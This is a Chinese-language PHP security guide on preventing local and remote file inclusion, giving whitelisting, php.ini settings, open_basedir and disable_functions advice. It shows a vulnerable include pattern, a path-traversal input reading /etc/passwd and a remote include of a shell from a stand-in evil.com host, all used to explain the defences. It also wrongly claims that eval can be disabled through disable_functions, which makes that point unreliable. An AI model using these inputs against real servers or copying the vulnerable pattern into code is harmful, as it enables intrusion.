应严格限制include文件来源,禁用allow_url_include和allow_url_fopen,使用白名单校验动态文件名,配置open_basedir限定目录范围,并禁用eval等高危函数。

严格限制include的文件来源
include函数本身不危险,危险的是让它加载不受控的文件。最常见漏洞就是类似 include $_GET['page'] . '.php'; 这种写法——攻击者能通过URL传入 ../../etc/passwd 或远程地址,触发路径遍历或远程文件包含(RFI)。
正确做法是彻底避免用用户输入拼接文件名。如果必须动态选择文件,采用白名单映射:
- 定义允许的文件名数组,如
$validPages = ['home', 'about', 'contact']; - 从请求中提取参数后,先检查是否在白名单内:
if (!in_array($page, $validPages)) { die('Invalid page'); } - 再安全拼接:
include __DIR__ . '/pages/' . $page . '.php';
禁用远程文件包含与URL加载
PHP默认可能允许通过 include 'http://evil.com/shell.php' 加载并执行远程代码。这在生产环境必须关闭。
在 php.ini 中设置:
-
allow_url_include = Off(关键!必须关) -
allow_url_fopen = Off(顺带关闭,减少攻击面)
这两个选项一旦开启,即使你代码写得再严谨,攻击者也可能绕过逻辑直接引入恶意脚本。
限定可访问目录范围
即便文件名被控制,攻击者仍可能利用 ../ 跳出预期目录。配合 open_basedir 可从根本上限制PHP脚本能操作的路径。
例如,网站根目录为 /var/www/site,则配置:
-
open_basedir = /var/www/site:/tmp(额外加/tmp用于临时文件) - 这样所有文件操作(包括include、fopen、file_get_contents等)都只能在指定目录内进行
- 若尝试包含
/etc/passwd或../config/db.php,PHP会直接报错拒绝
禁用高危函数与加固运行时
某些场景下,攻击者可能通过其他方式间接触发include行为(比如反序列化、eval配合字符串拼接)。因此需多一层系统级防护:
- 在 php.ini 中禁用明确不需要的函数:
disable_functions = eval, exec, shell_exec, system, passthru, popen, proc_open - 关闭已废弃且风险高的
safe_mode(PHP 5.4+ 已移除,无需设置) - 确保
display_errors = Off,防止错误信息泄露真实路径,辅助攻击者构造有效payload
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











